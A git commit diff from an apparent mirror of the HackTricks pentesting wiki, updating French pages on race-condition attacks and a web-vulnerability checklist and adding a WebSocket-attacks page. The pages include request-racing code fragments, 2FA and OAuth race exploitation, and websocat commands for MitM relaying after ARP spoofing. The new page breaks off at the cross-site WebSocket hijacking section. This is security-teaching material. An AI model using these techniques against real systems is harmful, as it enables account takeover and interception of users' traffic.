mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['pentesting-web/race-condition.md', 'pentesting-web/web-vuln
This commit is contained in:
Translator
parent
37e40b079c
commit
71282dd6af
4 changed files with 213 additions and 56 deletions
|
|
@ -540,7 +540,7 @@
|
|||
* [Cookie Bomb](pentesting-web/hacking-with-cookies/cookie-bomb.md)
|
||||
* [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md)
|
||||
* [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
|
||||
* [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
|
||||
* [SS-Leaks](pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)
|
||||
|
|
|
|||
|
|
@ -29,7 +29,7 @@ Le principal problème de l'exploitation des conditions de course est que vous a
|
|||
### Attaque à un seul paquet (HTTP/2) / Synchronisation du dernier octet (HTTP/1.1)
|
||||
|
||||
HTTP2 permet d'envoyer **2 requêtes dans une seule connexion TCP** (alors que dans HTTP/1.1, elles doivent être séquentielles).\
|
||||
L'utilisation d'un seul paquet TCP élimine complètement l'effet du jitter du réseau, il y a donc clairement un potentiel pour les attaques de condition de course. Cependant, **deux requêtes ne suffisent pas pour une attaque de course fiable** grâce au **jitter côté serveur** - les variations du temps de traitement des requêtes de l'application causées par des variables incontrôlables telles que la contention du processeur.
|
||||
L'utilisation d'un seul paquet TCP élimine complètement l'effet du jitter du réseau, il y a donc clairement un potentiel pour les attaques par condition de course. Cependant, **deux requêtes ne suffisent pas pour une attaque de course fiable** grâce au **jitter côté serveur** - les variations du temps de traitement des requêtes de l'application causées par des variables incontrôlables telles que la contention du CPU.
|
||||
|
||||
Mais, en utilisant la technique de '**synchronisation du dernier octet**' d'HTTP/1.1, il est possible d'envoyer préalablement la majeure partie des données en retenant un petit fragment de chaque requête, puis de 'compléter' **20 à 30 requêtes avec un seul paquet TCP**.
|
||||
|
||||
|
|
@ -38,16 +38,16 @@ Pour **envoyer préalablement la majeure partie de chaque requête** :
|
|||
- Si la requête n'a pas de corps, envoyez tous les en-têtes, mais ne définissez pas le drapeau END\_STREAM. Retenez un cadre de données vide avec le drapeau END\_STREAM défini.
|
||||
- Si la requête a un corps, envoyez les en-têtes et toutes les données du corps sauf le dernier octet. Retenez un cadre de données contenant le dernier octet.
|
||||
|
||||
Ensuite, **préparez-vous à envoyer les trames finales** :
|
||||
Ensuite, **préparez-vous à envoyer les cadres finaux** :
|
||||
|
||||
- Attendez 100 ms pour vous assurer que les trames initiales ont été envoyées.
|
||||
- Assurez-vous que TCP\_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les trames finales.
|
||||
- Envoyez un paquet ping pour réchauffer la connexion locale. Si vous ne le faites pas, la pile réseau du système d'exploitation placera la première trame finale dans un paquet séparé.
|
||||
- Attendez 100 ms pour vous assurer que les cadres initiaux ont été envoyés.
|
||||
- Assurez-vous que TCP\_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les cadres finaux.
|
||||
- Envoyez un paquet ping pour réchauffer la connexion locale. Si vous ne le faites pas, la pile réseau du système d'exploitation placera le premier cadre final dans un paquet séparé.
|
||||
|
||||
Enfin, envoyez les trames retenues. Vous devriez pouvoir vérifier qu'elles sont arrivées dans un seul paquet en utilisant Wireshark.
|
||||
Enfin, envoyez les cadres retenus. Vous devriez pouvoir vérifier qu'ils sont arrivés dans un seul paquet en utilisant Wireshark.
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains serveurs, mais les fichiers statiques ne sont pas pertinents pour les attaques de condition de course.
|
||||
Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains serveurs, mais les fichiers statiques ne sont pas pertinents pour les attaques par condition de course.
|
||||
{% endhint %}
|
||||
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur, indépendamment du jitter du réseau :
|
||||
|
|
@ -58,7 +58,7 @@ En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes
|
|||
|
||||
Il est important de noter que de nombreuses applications se trouvent derrière un serveur frontal, et celui-ci peut décider de transférer certaines requêtes sur des connexions existantes vers l'arrière-plan, et de créer de nouvelles connexions pour d'autres.
|
||||
|
||||
Par conséquent, il est important de ne pas attribuer des délais de requête incohérents au comportement de l'application, tel que des mécanismes de verrouillage qui ne permettent qu'à un seul thread d'accéder à une ressource à la fois. De plus, le routage des requêtes côté frontal est souvent effectué sur une base de connexion, vous pouvez donc lisser le délai des requêtes en effectuant un préchauffage de la connexion côté serveur - **envoyer quelques requêtes insignifiantes sur votre connexion avant de lancer l'attaque** (il s'agit simplement d'envoyer plusieurs requêtes avant de commencer l'attaque proprement dite).
|
||||
Par conséquent, il est important de ne pas attribuer des délais de requête incohérents au comportement de l'application, tel que des mécanismes de verrouillage qui n'autorisent qu'un seul thread à accéder à une ressource à la fois. De plus, le routage des requêtes côté frontal est souvent effectué sur une base de connexion, vous pouvez donc lisser le délai des requêtes en effectuant un préchauffage de la connexion côté serveur - **envoyer quelques requêtes insignifiantes sur votre connexion avant de lancer l'attaque** (il s'agit simplement d'envoyer plusieurs requêtes avant de commencer l'attaque proprement dite).
|
||||
|
||||
#### Mécanismes de verrouillage basés sur la session <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
|
|
@ -164,33 +164,6 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
La bibliothèque `asyncio` de Python est utilisée pour écrire du code asynchrone de manière concurrente. Elle permet d'exécuter des tâches en parallèle, ce qui est particulièrement utile pour les opérations d'entrée/sortie (I/O) intensives, telles que les requêtes réseau.
|
||||
|
||||
L'asynchronisme est un concept clé dans la programmation concurrente, car il permet d'exécuter plusieurs tâches en même temps sans bloquer le flux d'exécution principal. Cela signifie que les tâches peuvent être exécutées de manière indépendante et que le programme peut passer à autre chose pendant que les tâches sont en cours d'exécution.
|
||||
|
||||
La bibliothèque `asyncio` utilise des coroutines pour gérer les tâches asynchrones. Une coroutine est une fonction spéciale qui peut être suspendue et reprise ultérieurement. Cela permet d'exécuter plusieurs coroutines en parallèle, ce qui facilite la gestion des tâches asynchrones.
|
||||
|
||||
Pour utiliser `asyncio`, vous devez définir des coroutines et les exécuter dans une boucle d'événements. La boucle d'événements est responsable de l'exécution des coroutines et de la gestion des événements I/O. Elle s'occupe également de la synchronisation entre les différentes coroutines.
|
||||
|
||||
Voici un exemple simple d'utilisation de `asyncio` :
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
|
||||
async def my_coroutine():
|
||||
print("Début de la coroutine")
|
||||
await asyncio.sleep(1)
|
||||
print("Fin de la coroutine")
|
||||
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(my_coroutine())
|
||||
loop.close()
|
||||
```
|
||||
|
||||
Dans cet exemple, nous définissons une coroutine `my_coroutine` qui imprime un message, attend pendant une seconde à l'aide de `asyncio.sleep`, puis imprime un autre message. Nous exécutons ensuite cette coroutine dans une boucle d'événements à l'aide de `run_until_complete`.
|
||||
|
||||
L'utilisation de `asyncio` peut être très puissante pour gérer des opérations asynchrones dans vos programmes Python. Elle permet d'améliorer les performances en exécutant des tâches en parallèle et en évitant les blocages liés aux opérations I/O.
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
|
@ -230,7 +203,7 @@ Il existe de nombreuses variations de ce type d'attaque, notamment :
|
|||
* Noter un produit plusieurs fois
|
||||
* Retirer ou transférer de l'argent en excédent de votre solde de compte
|
||||
* Réutiliser une solution CAPTCHA unique
|
||||
* Contourner une limite de taux anti-brute-force
|
||||
* Contourner une limite de taux anti-brute force
|
||||
|
||||
### **Sous-états cachés**
|
||||
|
||||
|
|
@ -238,7 +211,7 @@ Les conditions de concurrence les plus complexes exploiteront des **sous-états
|
|||
|
||||
1. **Prédire les sous-états cachés et intéressants potentiels**
|
||||
|
||||
La première étape consiste à identifier tous les points d'extrémité qui écrivent ou lisent des données à partir de ceux-ci, puis utilisent ces données pour quelque chose d'important. Par exemple, les utilisateurs peuvent être stockés dans une table de base de données qui est modifiée lors de l'inscription, de la modification du profil, de l'initiation de la réinitialisation du mot de passe et de la finalisation de la réinitialisation du mot de passe.
|
||||
La première étape consiste à identifier tous les points d'extrémité qui écrivent ou lisent des données à partir de celles-ci, puis utilisent ces données pour quelque chose d'important. Par exemple, les utilisateurs peuvent être stockés dans une table de base de données qui est modifiée lors de l'inscription, de la modification du profil, de l'initiation de la réinitialisation du mot de passe et de la finalisation de la réinitialisation du mot de passe.
|
||||
|
||||
Nous pouvons utiliser trois questions clés pour exclure les points d'extrémité qui sont peu susceptibles de provoquer des collisions. Pour chaque objet et les points d'extrémité associés, demandez-vous :
|
||||
|
||||
|
|
@ -254,7 +227,7 @@ Les opérations qui modifient des données existantes (comme le changement de l'
|
|||
|
||||
* **Sur quoi l'opération est-elle basée ?**
|
||||
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une « clé », telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une "clé", telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -270,7 +243,7 @@ Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de
|
|||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques permettant de livrer des requêtes avec une synchronisation précise** peuvent néanmoins révéler la présence d'autres vulnérabilités.
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec une synchronisation précise** peuvent néanmoins révéler la présence d'autres vulnérabilités.
|
||||
|
||||
Un exemple est lorsque des **horodatages haute résolution sont utilisés au lieu de chaînes aléatoires cryptographiquement** sécurisées pour générer des jetons de sécurité.
|
||||
|
||||
|
|
@ -308,7 +281,7 @@ Consultez [**ce laboratoire**](https://portswigger.net/web-security/race-conditi
|
|||
|
||||
### Contourner l'authentification à deux facteurs (2FA)
|
||||
|
||||
Le pseudo-code suivant montre comment un site Web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
Le pseudo-code suivant montre comment un site web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
|
@ -316,21 +289,25 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
Comme vous pouvez le voir, il s'agit en fait d'une **séquence en plusieurs étapes dans le cadre d'une seule requête**. Plus important encore, elle passe par un sous-état dans lequel l'utilisateur dispose temporairement d'une session valide connectée, **mais où la MFA n'est pas encore appliquée**. Un attaquant pourrait potentiellement exploiter cela en envoyant une demande de connexion accompagnée d'une demande à un point de terminaison sensible et authentifié.
|
||||
Comme vous pouvez le voir, il s'agit en fait d'une **séquence en plusieurs étapes dans le cadre d'une seule requête**. Plus important encore, elle passe par un sous-état dans lequel l'utilisateur dispose temporairement d'une session valide connectée, **mais où la MFA n'est pas encore appliquée**. Un attaquant pourrait potentiellement exploiter cela en envoyant une demande de connexion ainsi qu'une demande vers un point de terminaison sensible et authentifié.
|
||||
|
||||
### Persistance éternelle d'OAuth2
|
||||
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés auprès du fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettent de créer une application et d'authentifier les utilisateurs enregistrés auprès du fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Jusqu'ici, il s'agit simplement d'une connexion classique avec Google/LinkedIn/GitHub... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?_"
|
||||
|
||||
#### Condition de concurrence dans `authorization_code`
|
||||
#### Course conditionnelle dans `authorization_code`
|
||||
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application exploite une condition de concurrence dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoyez automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application exploite une course conditionnelle dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
|
||||
#### Condition de concurrence dans `Refresh Token`
|
||||
#### Course conditionnelle dans `Refresh Token`
|
||||
|
||||
Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer de **l'exploiter pour générer plusieurs AT/RT** et même si l'utilisateur annule les autorisations pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**.
|
||||
|
||||
## **CC dans les WebSockets**
|
||||
|
||||
Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC), vous pouvez trouver un PoC en Java pour envoyer des messages WebSocket en **parallèle** afin d'exploiter **les courses conditionnelles également dans les WebSockets**.
|
||||
|
||||
## Références
|
||||
|
||||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
|
|
@ -354,7 +331,7 @@ Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer de **l'explo
|
|||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
@ -75,16 +75,16 @@ Si la fonctionnalité peut être utilisée pour rechercher un certain type de do
|
|||
|
||||
Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent survenir.
|
||||
|
||||
* [ ] [**Cross-Site Request Forgery (CSRF)**](../csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Hijacking de WebSocket entre sites (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
|
||||
* [ ] [**Vulnérabilités de PostMessage**](../postmessage-vulnerabilities/)
|
||||
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Hijacking WebSocket entre sites (CSWSH)**](../websocket-attacks.md)
|
||||
* [ ] [**Vulnérabilités PostMessage**](../postmessage-vulnerabilities/)
|
||||
|
||||
### **En-têtes HTTP**
|
||||
|
||||
Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
|
||||
|
||||
* [ ] [**Clickjacking**](../clickjacking.md)
|
||||
* [ ] [**Contournement de la politique de sécurité du contenu (CSP)**](../content-security-policy-csp-bypass/)
|
||||
* [ ] [**Contournement de la politique de sécurité du contenu**](../content-security-policy-csp-bypass/)
|
||||
* [ ] [**Piratage des cookies**](../hacking-with-cookies/)
|
||||
* [ ] [**CORS - Mauvaises configurations et contournement**](../cors-bypass.md)
|
||||
|
||||
|
|
@ -94,7 +94,7 @@ Il existe plusieurs fonctionnalités spécifiques pour lesquelles des contournem
|
|||
|
||||
* [ ] [**Contournement de la 2FA/OTP**](../2fa-bypass.md)
|
||||
* [ ] [**Contournement du processus de paiement**](../bypass-payment-process.md)
|
||||
* [ ] [**Contournement de CAPTCHA**](../captcha-bypass.md)
|
||||
* [ ] [**Contournement des captchas**](../captcha-bypass.md)
|
||||
* [ ] [**Contournement de la connexion**](../login-bypass/)
|
||||
* [ ] [**Condition de concurrence**](../race-condition.md)
|
||||
* [ ] [**Contournement de la limite de taux**](../rate-limit-bypass.md)
|
||||
|
|
@ -104,11 +104,11 @@ Il existe plusieurs fonctionnalités spécifiques pour lesquelles des contournem
|
|||
### **Objets structurés / Fonctionnalités spécifiques**
|
||||
|
||||
Certaines fonctionnalités nécessitent que les données soient structurées dans un format très spécifique (comme un objet sérialisé en langage ou XML). Il est donc plus facile d'identifier si l'application peut être vulnérable car elle doit traiter ce type de données.\
|
||||
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête de courrier électronique).
|
||||
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-têtes de courrier électronique).
|
||||
|
||||
* [ ] [**Désérialisation**](../deserialization/)
|
||||
* [ ] [**Injection d'en-tête de courrier électronique**](../email-injections.md)
|
||||
* [ ] [**Vulnérabilités JWT (JSON Web Tokens)**](../hacking-jwt-json-web-tokens.md)
|
||||
* [ ] [**Vulnérabilités JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
* [ ] [**Entité XML externe**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Fichiers
|
||||
|
|
@ -119,7 +119,7 @@ Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou
|
|||
|
||||
* [ ] [**Téléchargement de fichiers**](../file-upload/)
|
||||
* [ ] [**Injection de formule**](../formula-doc-latex-injection.md)
|
||||
* [ ] [**Injection de PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**Injection PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**XSS côté serveur**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Gestion externe de l'identité**
|
||||
|
|
|
|||
180
pentesting-web/websocket-attacks.md
Normal file
180
pentesting-web/websocket-attacks.md
Normal file
|
|
@ -0,0 +1,180 @@
|
|||
# Attaques WebSocket
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Qu'est-ce que les WebSockets
|
||||
|
||||
Les connexions WebSocket sont initiées via **HTTP** et sont généralement **durables**. Les messages peuvent être envoyés **dans les deux sens à tout moment** et ne sont pas transactionnels. La connexion restera normalement ouverte et inactive jusqu'à ce que le client ou le serveur soit prêt à envoyer un message.\
|
||||
Les WebSockets sont particulièrement utiles dans les situations où une **latence faible ou des messages initiés par le serveur** sont nécessaires, comme les flux en temps réel de données financières.
|
||||
|
||||
## Comment les connexions WebSocket sont-elles établies ?
|
||||
|
||||
(Ici, vous trouverez un résumé, mais un **guide plus détaillé sur la création d'une connexion WebSocket** peut être trouvé [**ici**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
Les connexions WebSocket sont généralement créées à l'aide de JavaScript côté client, comme dans l'exemple suivant :
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/chat");
|
||||
```
|
||||
Le protocole **`wss`** établit une connexion WebSocket via une connexion **TLS** chiffrée, tandis que le protocole **`ws`** utilise une connexion **non chiffrée**.
|
||||
|
||||
Pour établir la connexion, le navigateur et le serveur effectuent une poignée de main WebSocket via HTTP. Le navigateur envoie une demande de poignée de main WebSocket comme suit :
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
Sec-WebSocket-Version: 13
|
||||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||||
Connection: keep-alive, Upgrade
|
||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
Si le serveur accepte la connexion, il renvoie une réponse de poignée de main WebSocket comme suit :
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
À ce stade, la connexion réseau reste ouverte et peut être utilisée pour envoyer des messages WebSocket dans les deux sens.
|
||||
|
||||
**Remarque**
|
||||
|
||||
Plusieurs **caractéristiques** des messages de **poignée de main WebSocket** méritent d'être notées :
|
||||
|
||||
* Les en-têtes **`Connection`** et **`Upgrade`** dans la requête et la réponse **indiquent** qu'il s'agit d'une **poignée de main WebSocket**.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Version`** spécifie la **version du protocole WebSocket** que le client souhaite utiliser. Cela est généralement `13`.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Key`** contient une **valeur aléatoire** encodée en Base64, qui doit être générée de manière aléatoire à chaque requête de poignée de main.
|
||||
* L'en-tête de réponse **`Sec-WebSocket-Accept`** contient un hachage de la valeur soumise dans l'en-tête de requête `Sec-WebSocket-Key`, concaténé avec une chaîne spécifique définie dans la spécification du protocole. Cela est fait pour éviter les réponses trompeuses résultant de serveurs mal configurés ou de proxies de mise en cache.
|
||||
|
||||
L'en-tête **`Sec-WebSocket-Key`** contient une **valeur aléatoire** pour éviter les erreurs des proxies de mise en cache et **n'est pas utilisé à des fins d'authentification ou de gestion de session** (_Ce n'est pas un jeton CSRF_).
|
||||
|
||||
### Console Linux
|
||||
|
||||
Vous pouvez utiliser `websocat` pour établir une connexion brute avec un websocket.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
Ou pour créer un serveur websocat :
|
||||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
## Attaques de MitM sur les connexions websocket
|
||||
|
||||
Si vous constatez que des clients sont connectés à un **websocket HTTP** depuis votre réseau local actuel, vous pouvez essayer une [attaque d'ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) pour effectuer une attaque de MitM entre le client et le serveur.\
|
||||
Une fois que le client essaie de se connecter, vous pouvez ensuite utiliser :
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
## Énumération des Websockets
|
||||
|
||||
Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **pour découvrir, identifier et rechercher automatiquement des** **vulnérabilités** connues dans les websockets.
|
||||
|
||||
## Outils de débogage des Websockets
|
||||
|
||||
* **Burp Suite** prend en charge la communication MitM des websockets de la même manière qu'elle le fait pour la communication HTTP classique.
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et afficher toutes les communications WebSocket et Socket.IO entre le client et le serveur.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL interactif pour les websockets** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et en envoyer de nouveaux**, avec un framework facile à utiliser pour **automatiser** cette communication. 
|
||||
* [**https://websocketking.com/**](https://websocketking.com/) est un **site web pour communiquer** avec d'autres sites web en utilisant des **websockets**.
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **site web pour communiquer** avec d'autres sites web en utilisant des **websockets**.
|
||||
|
||||
## Laboratoire Websocket
|
||||
|
||||
Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course), vous avez un code pour lancer un site web utilisant des websockets et dans [**cet article**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/), vous pouvez trouver une explication.
|
||||
|
||||
## Piratage de WebSocket inter-sites (CSWSH)
|
||||
|
||||
Également connu sous le nom de _piratage de WebSocket inter-origines_.\
|
||||
**Il s'agit d'une** [**falsification de requête inter-sites (CSRF)**](csrf-cross-site-request-forgery.md) **sur un handshake WebSocket**.
|
||||
|
||||
Cela se produit lorsque la requête de **handshake WebSocket** repose uniquement sur les **cookies HTTP** pour la gestion de session et ne contient **aucun jeton CSRF** ou autre valeur imprévisible.\
|
||||
Un attaquant peut créer une **page web malveillante** sur son propre domaine qui **établit une connexion WebSocket inter-sites** avec l'application vulnérable. L'application traitera la connexion dans le **contexte de la session de l'utilisateur victime** avec l'application.
|
||||
|
||||
### Attaque simple
|
||||
|
||||
